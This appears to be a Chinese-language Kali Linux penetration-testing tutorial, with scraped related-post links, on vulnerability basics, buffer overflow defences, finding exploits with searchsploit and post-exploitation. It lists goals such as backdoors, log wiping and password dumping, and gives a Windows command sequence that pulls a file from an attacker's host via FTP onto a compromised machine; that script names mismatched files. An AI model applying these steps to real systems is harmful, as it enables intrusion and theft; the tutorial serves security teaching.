@


本系列侧重方法论,各工具只是实现目标的载体。

命令与工具只做简单介绍,其使用另见《安全工具录》。

本文以 kali-linux-2023.2-vmware-amd64 为例。

本文以原理为主。

这一部分技术更新换代很快。实操积累经验很重要。

1:漏洞基本介绍

1.1:漏洞从哪里来

  • 罪恶的根源——变量:对用户可操作的变量没有做限制。
  • 数据与代码边界不清

如下,是一个最简单的漏洞原理:

!/bin/bash

echo $1  # 直接以命令行执行,只希望打印用户输入的字符。

数据?代码?

1.2:缓冲区溢出

缓冲区溢出(Buffer Overflow)的含义是为缓冲区提供了多于其存储容量的数据

当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被 “ 撑爆 ” ,从而覆盖了相邻内存区域的数据。

如果人为成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果。

参考文章:《缓冲区溢出攻击》

Windows 避免缓冲区溢出攻击的策略

  • DEP:阻止代码从数据页被执行
  • ASLR:随机内存地址加载执行程序和 DLL,每次重启地址变化

Linux 避免缓冲区溢出攻击的策略

  • DEP
  • ASLR
  • 堆栈 cookies
  • 堆栈粉碎

1.3:如何发现漏洞

  • 源码审计
  • 逆向工程
  • 模糊测试(Fuzz Testing)
    • 向程序堆栈注入半随机的数据,根据内存变化判断是否溢出
    • 数据生成器:生成随机、半随机数据
    • 测试工具:识别溢出漏洞

2:漏洞利用

除了手工发现漏洞,对于扫描到的已知漏洞,可以寻找已有的 EXP,在此基础上修改,以此适用于相关的项目。

“ EXP ” 通常指漏洞利用(Exploitation)或漏洞利用代码(Exploit)。

2.1:EXP 选择与修改

  • 对于网上公开的 EXP 代码,选择可信赖的 EXP 源(Exploit-db 等)。
  • Kali 自带工具:Searchsploit。
  • 要有能力修改 EXP(Python、Perl、Ruby、C、C++...)以满足不同环境需要。

示例01:使用 searchsploit 查询漏洞代码:

查找相关 EXP:

searchsploit windows .py

查询 EXP 路径:

searchsploit -p 38959.py

拷贝到当前文件夹:

cp /usr/share/exploitdb/shellcodes/generator/38959.py 38959.py

EXP 内容:

2.2:避免有害的 EXP

  • 不同的 EXP 对应不同的软件版本、offset、shellcode。
  • 系统补丁修补漏洞。
  • 扫描探测目标系统版本,搭建适当的测试环境。
  • 避免一锤子测试,了解漏洞原理,修改溢出代码。

3:后渗透阶段

在漏洞利用,获得目标控制权后:

  • 上传文件,加强控制
  • 提权,扩大对目标系统的控制能力
  • 擦除攻击痕迹
  • 安装后门,持久控制
  • Dump 密码,提取目标系统中存储的用户密码信息
  • 内网渗透

对于后渗透阶段:

  • 最大的挑战:防病毒软件
  • 使用合适的远程控制软件

3.1:Linux 上传文件

控制目标后,若目标是 Linux 系统,可选择以下方式上传文件:

  • netcat
  • curl
  • wget

以上都是 Linux 预装的工具,或者是很容易在 Linux 上安装的工具。

3.2:Windows 上传文件

Windows 缺少预装的下载工具。有以下方法传输文件:

  • TFTP

    • XP、2003 默认安装。其他 Win 系统要单独添加。
    • 经常被边界防火墙过滤。
    • Kali 上,使用 atftpd 命令作为服务器共享文件。
    • Windows 上,使用 tftp 命令获取文件。
  • FTP

    • 适用性比较广。
    • Linux 上可能需要安装 FTP 服务。
    • Windows 上,使用 echo 命令将相关操作写入 txt 文件。
    • 然后 Windows 上使用 ftp 命令操作此 txt 文件以获取下载。
    • 示例如下:
# 因为多是以命令行控制,为防止出现问题,将命令写入文件执行
# 假设 kali(192.168.1.129)已经控制了目标系统 Windows
# 且 ftp 用户名:user1。密码:PassWorD
# 在控制的系统中分别执行以下命令 echo open 192.168.1.129 21 > ftp_test.txt
echo user1 >> ftp_test.txt
echo PassWorD >> ftp_test.txt
echo bin >> ftp_test.txt
echo GET whoami.exe >> ftp_test.txt
echo bye >> ftp_test.txt # 完成后执行即可
ftp -s:ftp.txt
  • VBScript(Visual Basic Scripting Edition),一种微软开发的脚本语言,用于在 Windows 上编写和执行脚本。

  • DeBug:二进制文件操作。

除此以外,在 Kali 中 /usr/share/windows-binaries/ 目录下自带了一些可以上传到 Windows 上使用的工具,便于后续操作。


闭心塞意,不高瞻览者,死人之徒也哉!

——《论衡》(东汉)王充

《Kali渗透基础》09. 漏洞利用、后渗透的更多相关文章

  1. Springboot之Actuator的渗透测试和漏洞利用

    背景概述 Spring的生态很优秀,而使用Spring Boot的开发者也比较多. Actuator是Spring Boot提供的对应用系统的监控和管理的集成功能,可以查看应用配置的详细信息,例如自动 ...

  2. kali linux之选择和修改exp与windows后渗透

    网上公开的exp代码,选择可信赖的exp源,exploit-db,securityfocus,searchsploit,有能力修改exp(python,perl,ruby,c,c++.......) ...

  3. 带你了解后渗透工具Koadic

    前言: 在朋友的博客上看到推荐的一款工具Koadic,我接触了以后发现很不错这款工具的强大之处我觉得就是拿到shell后的各种模块功能,我就自己写出来发给大家看看吧. 首先把项目克隆到本地: 项目地址 ...

  4. Enumy:一款功能强大的Linux后渗透提权枚举工具

    Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...

  5. EXP查询合集提权后渗透必备

    0x00 整理的一些后渗透提权需要用到的一些漏洞,后渗透提权的时候可以看一下目标机那些补丁没打,再进行下一步渗透提权. 0x01 CVE-2019-0803 [An elevation of priv ...

  6. Kali Linux渗透基础知识整理(三):漏洞利用

    漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...

  7. Kali Linux渗透基础知识整理(二)漏洞扫描

    Kali Linux渗透基础知识整理系列文章回顾 漏洞扫描 网络流量 Nmap Hping3 Nessus whatweb DirBuster joomscan WPScan 网络流量 网络流量就是网 ...

  8. Wordpress 漏洞利用与后渗透

    [作业]ColddBox 靶场 Wordpress 漏洞利用与后渗透. 突破口 渗透这类 CMS 网站时,不要上来就狂扫,它大部分目录都是固定的,开源去看对应版本,商业的找几篇文章.特别 注意的是一定 ...

  9. 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser

    XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...

  10. Kali Linux渗透基础知识整理(四):维持访问

    Kali Linux渗透基础知识整理系列文章回顾 维持访问 在获得了目标系统的访问权之后,攻击者需要进一步维持这一访问权限.使用木马程序.后门程序和rootkit来达到这一目的.维持访问是一种艺术形式 ...

随机推荐

  1. ubuntu配置vscode全过程(下载安装配置优化插件)

    一.安装vscode 下载vscode 当然啦,我们安装vscode,当然要先下载啦,但是但是但是!不要在ubuntu的软件中心(Ubuntu Software)下载!贼坑!下载完不能用! 推荐下载方 ...

  2. docker部署gitlab CI/CD (二)终篇:部署gitlab runner和添加gitlab-ci.yml文件 终极踩坑版

    关于gitlab部署的教程还好,有的看,但到了cicd环节,简直痛苦面具,教程虽多,但断断续续,先不说大部分都是只截取片段,让人云里雾里,不会的看不懂,懂的不需要看,根据步骤跑不起来不说,改了一堆,完 ...

  3. Java笔试真题及参考答案

    题目 使用Swing实现一个窗口程序,窗口包括一个菜单栏,请按以下要求实现相应功能. (1)窗口标题为"GUI程序",大小为400X300, 居中显示:窗口上有一个面板,面板背景色 ...

  4. 《数据结构》之栈和堆结构及JVM简析

    导言: 在数据结构中,我们第一了解到了栈或堆栈,它的结构特点是什么呢?先进后出,它的特点有什么用呢?我们在哪里可以使用到栈结构,栈结构那么简单,使用这么久了为什么不用其它结构替代? 一.程序在内存中的 ...

  5. 10个 Istio 流量管理 最常用的例子,你知道几个?

    10 个 Istio 流量管理 最常用的例子,强烈建议收藏起来,以备不时之需. 为了方便理解,以Istio官方提供的Bookinfo应用示例为例,引出 Istio 流量管理的常用例子. Bookinf ...

  6. C++面试八股文:用过STL吗?

    某日二师兄参加XXX科技公司的C++工程师开发岗位第21面: 面试官:用过STL吗? 二师兄:(每天都用好吗..)用过一些. 面试官:你知道STL是什么? 二师兄:STL是指标准模板库(Standar ...

  7. 驱动开发:应用DeviceIoContro模板精讲

    在笔者上一篇文章<驱动开发:应用DeviceIoContro开发模板>简单为大家介绍了如何使用DeviceIoContro模板快速创建一个驱动开发通信案例,但是该案例过于简单也无法独立加载 ...

  8. 解决 echarts柱状图x轴数据隔一个显示

    echarts柱状图x轴数据隔一个显示   在显示一个柱状图的时候,x轴的数据是隔一个显示的,但是hover的时候却能显示出当前轴x轴的名称,如下图: 那就只能说明这个轴的名称太长了,所以导致它默认就 ...

  9. Unity的Undo:详解解析与实用案例

    Unity Undo详解 在Unity中,Undo是一个非常重要的功能,它可以让开发者在编辑器中进行操作时,随时撤销之前的操作,从而避免不必要的错误.本文将详细介绍Unity Undo实现原理和使用方 ...

  10. 解决github网站打不开

    方法一(此方法无效则选 方法二) 发现github经常打不开无法访问,最近尝试了下改host发现效果挺好,方法如下(windows电脑): 进入站长工具网站的域名解析网址:http://tool.ch ...